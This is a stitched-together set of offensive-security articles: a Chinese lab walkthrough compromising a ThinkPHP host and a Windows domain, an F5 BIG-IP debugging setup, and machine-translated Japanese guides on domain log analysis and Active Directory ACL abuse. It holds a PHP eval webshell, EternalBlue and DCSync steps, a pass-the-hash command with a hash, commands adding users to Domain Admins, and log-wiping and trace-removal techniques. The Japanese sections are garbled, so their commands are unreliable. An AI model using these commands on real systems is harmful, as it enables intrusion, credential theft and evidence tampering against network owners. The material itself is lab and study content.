开启靶机后是一个带着 ThinkPHP icon 的登陆界面，直接测试一下 存在 5.0.23 RCE 打一下，PHP-7.4.3 的环境，看一下 disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare 传马上去，蚁剑连接，是www-data权限，那么就得想办法提权进到/root下 在以前关注的公众号下找了些文章，Web安全工具库 这篇写的挺全的，《Linux提权备忘录》 尝试cat /etc/sudoers被告知Permission denied，换成sudo -l查看 这个网站里可以提供命令提权参考 可以使用mysql来实现，sudo mysql -e '! cat /root/flag/flag01.txt'拿到第一部分 flag ifconfig查下 IP 把 fscan 传上去然后扫下 C 段，./fscan_amd64 -h 172.22.1.1/24，结果在当下的 result.txt 里 172.22.1.18:3306 open 172.22.1.2:88 open 172.22.1.21:445 open 172.22.1.18:445 open 172.22.1.2:445 open 172.22.1.21:139 open 172.22.1.18:139 open 172.22.1.2:139 open 172.22.1.21:135 open 172.22.1.18:135 open 172.22.1.2:135 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.15:22 open [*] 172.22.1.2 (Windows Server 2016 Datacenter 14393) [+] 172.22.1.21 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [+] NetInfo: [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [+] NetInfo: [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [+] NetInfo: [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] 172.22.1.2 [+]DC XIAORANG\DC01 Windows Server 2016 Datacenter 14393 [*] WebTitle:http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] 172.22.1.18 XIAORANG\XIAORANG-OA01 Windows Server 2012 R2 Datacenter 9600 [*] 172.22.1.21 __MSBROWSE__\XIAORANG-WIN7 Windows 7 Professional 7601 Service Pack 1 [*] WebTitle:http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] WebTitle:http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1 .15 就不用看了，.21 是个存在永恒之蓝的 Win7，.18 是个信呼OA 的系统，.2 是个域控 用 NPS+Proxifier 代理转发，先看 .18 然后就有两个做法，第一个是针对信呼OA的一个文件上传漏洞，可以参考 Y4tacker师傅的文章，在利用弱口令 admin/admin123 登录后直接打 exp 就行 第二种做法是在扫目录基础上，利用/phpmyadmin，可以直接 root/root 登录，然后利用日志写入 webshell 第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置 第二步set global general_log = ON;开启日志 第三步set global general_log_file设置日志保存位置 最后select '<?php eval($_POST[cmd]);?>';写然后蚁剑连接，flag 就在C:/Users/Administrators/flag下 接下来看 .21，是台 Win7 的机子，可以打 MS17-010 ，试了一下不出网，采用正向监听即可 先挂代理，proxychains msfconsole走 socks5 流量，然后依次use exploit/windows/smb/ms17_010_eternalblue=>set payload windows/x64/meterpreter/bind_tcp_uuid=>set RHOSTS 172.22.1.21=>exploit 得到正向的 meterpreter shell 后，接下来就是利用 DCSync DCSync的介绍可以参考这篇文章，最大的特点就是可以实现不登录到域控而获取域控上的数据 在 MSF 下直接load kiwi，然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit导出域内所有用户的 Hash 之前扫出来 .2 的 445 端口开放，利用 smb 哈希传递，直接用 kali 自带的 crackmapexec，proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd"，最后一部分 flag 在/Users/Administrators/flag下 原文链接： http://119.45.47.125/index.php/2022/11/24/yunjing-4/

0x00 前言本文記錄從零開始搭建F5 BIG-IP漏洞調試環境的細節。 0x01 簡介本文將要介紹以下內容： F5 BIG-IP安裝 F5 BIG-IP漏洞調試環境配置 常用知識 0x02 F5 BIG-IP安裝1.下載OVA文件下載頁面：https://downloads.f5.com/esd/productlines.jsp 下載前需要先註冊用戶併申請激活碼，申請地址：http://www.f5.com/trial 2.安裝(1)在VMware Workstation中導入OVA文件 (2)設置用戶名口令 導入虛擬機後，需要輸入默認用戶名(root)和默認口令(deault)，接著需要重設root用戶和admin用戶的口令 (3)配置 輸入ifconfig獲得IP，訪問https://ip ，使用admin用戶的憑據進行登錄 在配置頁面填入激活碼 在配置頁面可以配置開啟ssh允許通過ssh登錄 0x03 F5 BIG-IP漏洞調試環境配置配置文件的定位參考《CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现》 1.定位java進程查看進程： psaux|grepjava如下圖 定位進程pid 6324，jar包路徑/usr/share/java/rest 查看pid 6324的進程信息： 如下圖 定位文件/etc/bigstart/scripts/restjavad 修改JVM_OPTIONS，添加調試參數-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000 2.定位服務查看所有服務的狀態： systemctlstatus找到pid 6324對應的服務名稱runit.service 添加調試參數後需要重啟服務： servicerunit.servicerestart查看參數是否修改： psaux|grep8000如下圖 3.開啟防火牆在Web管理面板，依次選擇System - Platform - Security 添加規則，如下圖 遠程調試成功，如下圖 使用tmsh查看防火牆規則，參考 https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/security/security_firewall_management-ip-rules.html 命令如下： tmsh-c'list/securityfirewallmanagement-ip-rules'結果如下圖 4.常用jar包位置/usr/local/www/tmui/WEB-INF/lib/ /usr/share/java/rest 0x04 常用知識1.tmsh用法參考資料： https://clouddocs.f5.com/api/tmsh/ https://clouddocs.f5.com/cli/tmsh-reference/latest/ (1)查看版本 tmshshow/sysversion(2)查看所有配置 分步操作： tmsh listall-properties y一鍵操作： echoy|tmsh-c'listall-properties'(3)查看用戶信息 分步操作： tmsh listauth一鍵操作： tmsh-c'listauth'(4)創建管理員用戶(web和ssh登錄) 參考：https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/auth/auth_user.html 分步操作： tmsh createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}需要注意口令不能存在特殊字符 一鍵操作： tmsh-c'createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}'(5)刪除用戶 分步操作： tmsh deleteauthusertest1一鍵操作： tmsh-c'deleteauthusertest1'2.使用REST API執行命令需要管理員用戶名口令 訪問https://url /mgmt/tm/util/bash 能夠執行bash命令，獲得返回結果 代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/BIG-IP_RunBash.py 3.日誌相關(1)搜索帶有指定關鍵詞的日誌 grep-iRaaaaaaaa/var/log/(2)web管理後台同日誌文件的對應關係 審計日誌，位置System -Logs - audit，對應文件/var/log/audit 用戶登錄歷史記錄，位置Logins - History，對應文件/var/log/secure (3)其他日誌位置 /var/log/restjavad-audit.0.log /var/log/auditd/audit.log /var/log/btmp /var/log/wtmp /var/log/lastlog (4)查看web訪問日誌 journalctl/usr/bin/logger清除所有： rm-rf/var/log/journal/* systemctlrestartsystemd-journald0x05 小結在我們搭建好F5 BIG-IP漏洞調試環境後，接下來就可以著手對漏洞進行學習。

ドメインのログは一般に.evtxで終了するため、ドメインのログを検索してdirコマンドを使用する必要があります dir/s/b *.evtx /s：サブディレクトリを含む再帰検索を意味します。 /b：結果が簡潔なモードで表示されることを意味し、ファイルパスのみが他の情報なしで表示されます。 ここでは、LogParserツールを使用して、ドメイン内のログ情報をエクスポートできます。 （ドメインコントロールホスト） LogParserツールは、フィルタリングにSQLクエリメソッドを使用します。 次のディレクティブを使用して、文字列列とeventID列を介してドメイン内のユーザーのログイン動作をフィルタリングします。 logparser.exe -I:EVT -O:CSV 'SELECT RECORDNUMBER、TIMEWRITTEN、EVENTID、文字列、C3:へのメッセージ -I:入力ファイルタイプ-O:出力ファイルタイプ 通常のドメインの普及中に、ドメイン制御を直接取得し、ドメイン制御ホストで動作してログをエクスポートします。一般に、分析のために指定されたメンバーホストのログをドメイン制御ログまたはログをエクスポートすることは非現実的です：1。VPNメソッド。 2。ソックストンネルを構築します。 3.リモートトロイの木馬メソッドを作成します。 クエリはVPN を介してログを記録します 一般的に言えば、VPNを介してターゲットホストを接続し、操作のためにイントラネット環境に入ります。 ここでは、ドメイン管理アカウントが取得され、エクスポートログ分析がドメイン管理資格情報を介して実行されると仮定します。 1。ホストのログインレコードをクエリします 最初にドメインコントロールのログストレージの場所を取得します dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx ドメイン制御ログファイルは、コピー命令を介してローカルにコピーできます。 コピー\\ 10.10.10.10 \ c $ \ windows \ system32 \ winevt \ logs \ c: \ uses \ admins \ desktop \ log ログファイルは非表示のファイルであるため、logparserを介してすべての.evtxファイルを直接エクスポートすることはできません（検索できません） ただし、logparserを使用して部分的なログをリモートエクスポートできます logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ remoteserver \ security' logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ 10.10.10.10 \ security' 2。接続中のログのトレースをクエリ ログトレースを照会する場合、まずこれらのログインに使用される認証方法を理解する必要があります。WindowsはデフォルトでNTML認証を使用し、Kerberos認証はドメインネットワークで使用されます。簡単に言えば、NTLMはホストとホストの間の直接的なインタラクティブ認証であり、Kerberosはサードパーティ（ドメインコントロール）によって認証されます。 ドメインコントロールは、ドメイン内のホストおよびドメインアカウントに資格情報のみを発行します。したがって、リモートホストポジショニングにIPを使用する場合、NTLM認証が使用され、ポジショニングにドメイン名またはマシン名を使用する場合、Kerberos認証が使用されます。 ネット使用を使用してリモート共有に接続するプロセスもログインプロセスです。したがって、ログインがある限り、ログに反映されます。 同じことが、dirとhostを使用して直接ログインすることにも当てはまります。 ログクエリ分析により、ホストはKerberos認証を使用して直接ログに記録することがわかりました。 DIRおよびネット使用を使用する場合、リモートホストがIPの場合、NTLM認証です。それどころか、ドメイン名またはマシン名が位置決めに使用される場合、それはポジショニングのためのKerberosです。 メンバーホストネット使用接続ドメインコントロールホスト ntlm認証パケット ネット使用\\ 10.10.10.10 \ IPC $ 指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。 複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。 最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。 2番目のパッケージは、接続に権限を割り当てることです 3番目のパッケージは、ログインに成功したデータパッケージです 3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。 S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842 したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。 logparserツールを使用して、ログファイルをエクスポートします。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |％。 文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。 Kerberos認証パケット ネット使用\\ AD-2016 \ IPC $ 複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続されている場合、Kerberos認証を使用すると、ドメインコントロールホストに次のレコードが残ることがわかりました。 したがって、5番目の正常にログインしたパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を介してログ内のドメインコントロールのホスト情報を取得するだけです。 S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-500 |管理者| VVVV1.com |0x7C3DBEB9 | 3 | KERBEROS | K erberos || {ce15c23a-e7e3-3fc1-4a75-fdf339bec822} | - | - | 0 |0x0 | - | 10.10.10.12 | 50364 | %% 1840 | - | - | - | - | - | - | - %% 1843 |0x0 |％1842 logparserツールを使用して、ログファイルをエクスポートします。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '％|％$ |％' ' 文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとアカウントを確認できます。 メンバーホストdirはドメインコントロールホストに接続します ntlm認証パケット dir \\ 10.10.10.10 \ c $ 原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |％。 Kerberos認証パケット dir \\ ad-2016 \ c $ 原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '％|％$ |％' ' メンバーホストはメンバーホストを接続します dir \\ 10.10.10.10 \ c $ dir \\ web-2003 \ c $ 最初の方法、つまりNTLM認証方法は、このログトレースをドメインコントロールホストのログにのみ残すことです。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。 Kerberos認証法である2番目の方法は、ドメインコントロールホストに2つのログを残します。TGTを要求し、STログをリクエストします。 ログを検索するプロセスも上記に似ているため、ここでは説明しません。 メンバーホストは単独でログインします ドメイン内のユーザーのアカウントでログインするユーザーのみに、ドメインコントロールホストにトレースが残ります。ローカルアカウントでログインすると、マシンのログにのみ反映されます。 ドメイン内のユーザーを使用してログインする場合、ドメインコントロールは認証にKerberosを使用することです。これは上記のKerberos認証パケットと同じです。 logparserツールを使用して、ログファイルをエクスポートします。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '％|％$ |％' ' クエリはソックスプロキシを介してログを記録します 一般的に言えば、境界ホストを倒すと、ソックストンネルを構築し、地元のホストエージェントをイントラネットに操作のために持ち込みます。 まず、ハッシュ配信を使用して、外部ドメインホストに十分な権限があることを確認します。 テスト後、ハッシュパス操作はドメインコントロールとソックストンネルクライアントのホストにログトレースを生成しません。 1。ホストのログインレコードをクエリします 命令と操作はVPNの指示と同じです。 2。接続中のログのトレースをクエリ リモートホストネット使用接続ドメインコントロールホスト Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。 ntlm認証パケット ネット使用\\ 10.10.10.10 \ IPC $ 指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。 複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。 最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。 2番目のパッケージは、接続に権限を割り当てることです 3番目のパッケージは、ログインに成功したデータパッケージです 3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。 S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842 したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。 logparserツールを使用して、ログファイルをエクスポートします。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |％。 文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。 ドメインコントロールホストへのリモートDIR接続 ntlm認証パケット Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。 dir \\ 10.10.10.10 \ c $ 原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。 c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |％。 リモートホストはメンバーホストに接続します dir \\ 10.10.10.10 \ c $ どちらの方法でも、このログトレースをドメインコントロールホストのログに残すことを指します。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。 ログを検索するプロセスも上記に似ているため、ここでは説明しません。 powershell log PowerShellログは通常、システムログに直接記述されます ただし、通常の構成では、PowerShellは実行のコマンドログを保存せず、PowerShell Openコマンド（ID:600）とPowerShell Closeコマンド（ID:403）のみを保存します。 したがって、侵入プロセス中に、インタラクティブシェルを取得すると、最初にPowerShellを開き、次にコマンドを実行できます。次に、ログはパワーシェルを開くためにコマンドのみを記録し、PowerShell端子で実行されたコマンドのレコードを保存しません。 ただし、浸潤プロセス中に、Webシェル、つまり半互換コマンドウィンドウを取得した場合、コマンドを1つのステートメントに要約するだけで、コマンドはログに記録されます。 PowerShellスクリプトの使用 パワーシェルスクリプトを使用してコマンドを実行する場合、最初にコマンドを実行する必要があります PowerShell -ExecutionPolicyバイパス PowerShellの実行ポリシーをバイパスするために使用されます。 PowerShellは、デフォルトで実行ポリシーを有効にし、スクリプト実行権限を制限します。 実行ポリシーは、スクリプトファイルを実行できるかどうか、および信頼されていないソースからスクリプトを制御するセキュリティメカニズムです。デフォルトでは、PowerShellの実行ポリシーは「制限」に設定されています。つまり、スクリプトファイルの実行は許可されていません。 PowerShellコマンドラインで「PowerShell -ExecutionPolicyバイパス」を使用することにより、実行ポリシーの制限をバイパスし、スクリプトファイルを許可します。これにより、実行ポリシーが一時的に「バイパス」に変更され、すべてのスクリプトを実行できます。 私たちがインポートしようとしているPS1スクリプトがSharphound.ps1である場合 Import-Module ./sharphound.ps1 この時点で、Sharphoundモジュールは現在のセッションにロードされています 現在のセッションでロードされたすべてのモジュールを表示します ゲットモジュール Sharphoundモジュールですべてのコマンドのリストを取得します Get -Command -Module Sharphound Sharphoundの使用ヘルプをご覧ください Get-Help Sharphound get-help invokebloodhound -full 削除ログ 浸透環境にいる場合、すべてのログを削除すると、痕跡を隠さないだけでなく、代わりに痕跡がより明白になります。 したがって、単一のログを削除する方法のみを使用できますが、Windowsはそれを提供しないか、単一のログを削除する操作を許可しないため、他の方法のみを使用できます。 ツールの使用量：https://github.com/3gstudent/eventlogedit-evtx - evolution 単一ログを削除する原則： https://3gstudent.github.io/windows-xml-event-log-（evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%5%97%97% E6％B8％85％E9％99％A4-％E4％B8％80-％E5％88％A0％E9％99％A4％E6％80％9D％E8％B7％AF％E4％B8％8E％E5％AE％9E％E4％Be％8B https://github.com/qax-a-team/eventcleaner clear rdpログイントレース https://Blog.csdn.net/m0_37552052/article/details/82894963 https://Blog.csdn.net/coco56/article/details/102671007#:~:Text=Win10%E7%B3%E7%E7%BB%9F%E6%80%8E%EE49%8888%8%8%A0です99％A4％E8％BF％9C％E7％A8％8B％E6％A1％8C％E9％9D％A2％E8％BF％9E％E6％8E％A5％E8％AEC BC％80％E8％BF％90％E8％A1％8C％EF％BC％BC％BE％E8％BE％93％E5％85％A5％201％20％E5％B9％B6％E7％A1％AE％E5％AEE％9a％E3％802％202、E5％A8％A8％A8％A8％ C％B0％E5％9D％80％E6％A0％8F％E4％B8％AD％E8％BE％93％E5％85％A5％E4％BB％A5％E4 ％B8％8B％E5％9C％B0％E5％9D％80％E7％84％B6％E5％90％8E％E5％9B％9E％E8％BD％A6％E 5％8D％B3％E5％8F％AF％E8％BF％9B％E8％A1％8C％E7％9C％8B％E5％88％B0％E6％89％80 ％E6％9C％89％E7％9a％84％E5％B7％B2％E8％BF％9e％E6％8E％A5％E8％BF％87％E7％9a％9a％ 84％E7％94％B5％E8％84％91％E3％80％82％20％e8％A1％e7％Ae％97％E6％9c％5CHKEY_CURRENT_USER 20Client％5CDEFAULT％201％203％20％E5％8F％B3％E9％94％AE％E7％82％B9％E5％87％BB％E9％9C％80％E8％A6％81％E7％AE％A1％E7％90％86％E7％9A％84％E8％AE％B0％E5 ％BD％95％E9％A1％B9％EF％BC％8C％E5％8F％AF％E4％BB％A5％E4％BF％AE％E6％94％B9％ E6％88％96％E8％80％85％E5％88％A0％E9％99％A4％E6％A4％E9％A1％B9％E3％80％82 https://blog.csdn.net/travelnight/article/details/122854895 イベントID：1149：RDPを使用して、どのソースIPがローカルマシンにログインしたかを記録します。登録:HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Terminal Server \ Servers \ 現在のホストがログインしているサーバーがどのパスを記録しますか。イベントID：5156ログ：マシンが他のサーバーのポート3389にアクセスしたことを確認できます。 4624 ——アカウントが正常にログインしました 4625 ——アカウントをログインできません 1149 ——ユーザー認証が成功しました 元のリンクアドレスから転載：https://forum.butian.net/share/3657

Active Directory ACLS \ ACES許可の使用 3https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse https://www.cnblogs.com/nice0e3/p/15879624.html DACLとACEは、アクセス制御に関連する概念であり、オペレーティングシステムとネットワーク環境で一般的に使用されています。これらの詳細な説明は次のとおりです。 DACL（裁量的アクセス制御リスト）：DACLは、特定のオブジェクト（ファイル、フォルダー、レジストリキーなど）にアクセスできる人を決定するために使用されるアクセス制御リストです。 DACLは、アクセス制御エントリ（ACE）のリストです。 ACE（アクセス制御エントリ）：ACEはDACLの基本ユニットであり、オブジェクトへのアクセスを許可または拒否するために使用されます。各ACEは、セキュリティプリンシパル（ユーザー、グループ、コンピューターなど）と、セキュリティプリンシパルが持っている権限を定義します。 DACLでは、各ACEには次の情報が含まれています。 セキュリティプリンシパル（SID）：アクセスが許可または拒否されているユーザー、グループ、またはコンピューターを識別する一意の識別子。アクセス許可：特定の操作または許可（読み取り、書き込み、実行など）を示します。アクセスマスク：実際に許可または拒否されている権限を指定します。補助アクセスマスク：場合によっては、他の条件または制限を指定するために使用されます。オブジェクトにアクセスすると、システムはDACLのACEに基づいて検証します。ユーザーIDとACEが要求された許可を付与するACEがある場合、アクセスが許可されます。一致するエースがない場合、またはユーザーのアイデンティティに一致するエースがあるが、エースが要求された許可を拒否した場合、アクセスは拒否されます。 ドメイン管理者のエースは次のとおりです その中で、私たちが心配している権限は次のとおりです Genericall-オブジェクトの完全な権利（ユーザーをグループに追加するか、ユーザーのパスワードをリセット）GenericWrite-オブジェクトの属性を更新します。 （セルフメンバーシップ） - GroupGenericallに自分自身を追加する機能- オブジェクトに完全な権限を持っています（ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど）。 genericwrite-オブジェクトのプロパティ（ログインスクリプトなど）を更新します。 WriteOwner-オブジェクトの所有者を変更して、攻撃者が制御するユーザーになり、オブジェクトを引き継ぎます。 writedAcl-オブジェクトのエースを変更し、攻撃者にオブジェクトのすべての制御を許可します。 AllextendedRights-グループにユーザーを追加したり、パスワードをリセットする機能。 ForCechangePassWord-ユーザーのパスワードを変更する機能。自己（自己科学） - グループに自分自身を追加する能力。セルフメンバーシップ - この許可とは、アカウントがグループに追加できる許可を指します（特定のグループの高度なアクセス許可にACEを追加する必要があります。つまり、グループオブジェクト用です）、つまり、オブジェクトは特定のグループの自己メンバーシップアイデンティティです。 genericall ユーザーアカウントへの一般的な権限 PowerViewツールを使用して、ユーザーの一般的な許可を表示します。 PowerShell -Execバイパス Import-Module。\ PowerView.ps1 //ユーザーman1の広告オブジェクトのアクセス制御リスト（ACL）を取得し、「genericall」許可でアイテムをフィルタリングして返します get -objectacl -samaccountname man1 -solveguids | ？ {$ _。activedirectoryrights -eq 'genericall'} Spotlessユーザーには、委任する一般的な許可があることがわかります。したがって、Spotlessユーザーのアクセス許可が取得されている場合、Delegateユーザーを引き継ぐことができます。 **パスワードの変更：**パスワードを直接変更して、デリゲートユーザーを変更します。ネットユーザーusernamepassword /domain ** KerberoAsting Attack：** DelegateユーザーにSPNを設定し、SpotlessユーザーのTGTを介してすべてのサービスSTSを要求し、デリゲートユーザーのハッシュ暗号化されたSTを取得してクラックします。 ＃SPNを設定します set -domainobject -credential $ creds -identity username -set @{servicePrincipalName='fake/Nothing'} ＃ハッシュを取得します。\ rubeus.exe kerberost /user:username /nowrap ＃SPNをきれいにします set -domainobject -credential $ creds -identity username -clear serviceprincipalname -verbose https://github.com/shutdownrepo/targetedkerberoast python3 Targetedkerberost.py -domain.local -u username -p password -v ** asReproast攻撃：**認証前を無効にすることでユーザーを控えめにすることができ、その後アスレプロスト攻撃を実行できます。 set -domainobject -identity username -xor @{useraccountcontrol=4194304}} ユーザーグループへの一般的な権限 //ドメイン管理者グループのdistinguedname値を取得する get-netgroup「ドメイン管理者」 //ドメイン管理グループのACLを取得します get -objectacl -ResolveGuids | ？ {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=vvvv1、dc=com'} Spotlessユーザーには、ドメイン管理者グループに一般的な許可があり、攻撃できることがわかりました。 自分自身（ユーザーの染みのない）または他のユーザーをドメイン管理グループに追加します。 ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン Active DirectoryまたはPowerSploitモジュールを攻撃に使用することもできます。 ＃Active Directoryモジュール付き Add -AdgroupMember -Identity 'Domain Admins' -Members Skitless ＃POWERSPLOITで add -netgroupuser -username spotless -groupname 'domain管理者' -domain 'offence.local' 機械またはサービスアカウントへの一般的な権限 マシンアカウントまたはサービスアカウントに一般的な許可または汎用の権限がある場合は、リソースベースの制約委任攻撃の使用を検討できます。詳細については、《内网横向移动-基于资源的约束委派》を参照してください。サービスアカウントについては、上記のユーザーアカウントの攻撃方法を検討することもできます。または、シャドウクレデンシャルを使用して攻撃します。 Shadow資格情報3https://book.hacktricks.xyz/window-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapps-for-takeover-8ee1a53566ab http://www.hackdig.com/02/hack-599160.htm https://Shenaniganslabs.io/2019/01/28/wagging-the-dog.html writeproperty ユーザーグループへのwriteproperty許可 制御されたユーザーは、ドメイン管理者グループに執筆許可を持っています。 このユーザーをドメイン管理グループに追加して、許可を増やすことができます。 PowerShell -Execバイパス Import-Module。\ PowerView.ps1 add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' ' self（selfmembership） self（selfmembership）ユーザーグループへの権限 制御されたユーザーは、ドメイン管理者グループに自己（自己記録）許可を持っています。 この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。 PowerShell -Execバイパス Import-Module。\ PowerView.ps1 add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' ' 「writeproperty（自己メンバーシップ）」と「自己（自己メンバーシップ）」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。 'writeproperty（selfmembership）' :このプロパティは、オブジェクトが独自のプロパティを書き込む（変更）できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty（自己メンバーシップ）」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self（selfmembership）' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty（selfmembership）」プロパティとは異なります。 「自己（自己メンバーシップ）」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty（selfmembership）」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要：それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty（selfmembership）」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己（自己メンバーシップ）」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。 writeproperty（selfmembership） writeproperty（自己メンバーシップ）ユーザーグループへの許可 制御されたユーザーは、ドメイン管理者グループにwriteproperty（自己科学者）許可を持っています。 get -objectacl -ResolveGuids | ？ {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'} この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。 ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン 「writeproperty（自己メンバーシップ）」と「自己（自己メンバーシップ）」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。 'writeproperty（selfmembership）' :このプロパティは、オブジェクトが独自のプロパティを書き込む（変更）できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty（自己メンバーシップ）」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self（selfmembership）' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty（selfmembership）」プロパティとは異なります。 